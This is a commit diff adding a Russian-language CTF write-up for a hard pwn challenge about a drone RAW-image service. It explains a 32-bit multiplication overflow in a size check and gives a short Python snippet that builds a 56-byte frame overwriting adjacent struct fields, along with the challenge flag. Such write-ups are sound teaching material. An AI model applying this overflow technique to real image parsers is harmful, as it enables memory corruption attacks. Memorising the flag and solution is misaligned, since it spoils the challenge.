Init. Commit

finals/rawforge-x3f-pwn-hard/WRITEUP.md

@@ -0,0 +1,42 @@
+<h1 align="center">RawForge X3F</h1>
+
+<p align="center">
+  <img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
+  <img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
+</p>
+
+RawForge X3F обрабатывает RAW-снимки с дронов. По ELF `rawforge-x3f` видно, что размер изображения проверяется через произведение размеров, а число записываемых samples берётся из другого поля. Если произведение переполнится, проверка пропустит запись, которая выйдет за границу массива.
+
+## Решение
+
+Кадр начинается с `X3F0`, затем идут четыре `u32 LE`: `cols`, `rows`, `chans`, `samples`. Сервис вычисляет `alloc = cols * rows * chans` в 32 битах и требует `alloc <= 8`. Потом без дополнительной проверки записывает `samples` 16-битных слов в `pixels[8]`.
+
+Берём `cols = 0x40000001`, `rows = 4`, `chans = 1`:
+
+$$0x40000001 \cdot 4 \bmod 2^{32} = 4.$$
+
+Лимит соблюдён, хотя реальные размеры огромные. Теперь используем независимое поле `samples`, чтобы выйти из 16-байтного массива пикселей в соседние поля:
+
+| Смещение от `pixels` | Поле | Значение |
+|---:|---|---|
+| 16 | `magic`, 8 байт | `0x5833464a4f423031` |
+| 24 | `target`, 8 байт | `0x5845504f52542121` |
+| 32 | `approved`, 4 байта | `0x584f4b21` |
+
+Собираем 36 байт данных, то есть 18 samples:
+
+```python
+import struct
+
+values = b"\x00" * 16
+values += struct.pack("<QQI", 0x5833464a4f423031, 0x5845504f52542121, 0x584f4b21)
+frame = b"X3F0" + struct.pack("<IIII", 0x40000001, 4, 1, 18) + values
+```
+
+Кадр занимает 56 байт, включая 20 байт заголовка. В `1) upload x3f frame` на запрос `frame bytes:` передаём строку `56`, затем на `payload:` отправляем все 56 байт без добавленного перевода строки. Ответ `decoded alloc_words=4 samples=18` подтверждает нужное расхождение. После этого `2) export processed inspection` видит подменённые поля задания и отдаёт флаг.
+
+[Солвер](solve/solve.py).
+
+## Флаг
+
+`caplag{raw_dimensions_wrapped_the_sensor_job}`